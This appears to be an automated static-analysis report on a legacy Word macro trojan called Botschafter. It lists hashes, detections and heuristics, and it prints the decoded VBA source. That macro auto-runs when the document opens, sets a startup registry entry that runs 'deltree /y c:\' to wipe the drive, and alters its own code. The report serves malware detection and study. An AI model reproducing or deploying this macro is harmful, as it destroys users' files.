Botschafter — Office (OLE) malware analysis

Static analysis result for SHA-256 712b87c0ce940c31…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-05-21 21:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 875a5f7d2776a128bbb4554d0bf22077 SHA-1: f82ebeb9e02d60ffc20b1f708718098b5b7b3262 SHA-256: 712b87c0ce940c314f84074262316bae104c48d39cd675af675a72a9e3cbf536
240 Risk Score

Malware Insights

Botschafter · confidence 95%

MITRE ATT&CK
T1547.001 Registry Run Keys / Startup Folder T1059.005 Visual Basic

The sample contains VBA macros, specifically a Document_Open subroutine, which is designed to execute automatically when the document is opened. This macro attempts to establish persistence by writing a registry key named 'Botschafter' to 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices' with the command 'deltree /y c:\'. This indicates the malware aims to run a command on system startup. The ClamAV detection also confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Botschafter-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Botschafter-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 644 bytes
SHA-256: 0d1f73b19370c33d34d137d888cd2c963191ae0fe452fdae05e78b2615d81768
Detection
ClamAV: Doc.Trojan.Botschafter-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices", "Botschafter") = "deltree /y c:\"
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
For x = 1 To 7
.DeleteLines 1
Next
.ReplaceLine 1, "Sub AutoOpen()"
End With
MsgBox "Botschafter... Hello!", vbOKOnly, Application.ActiveDocument
End Sub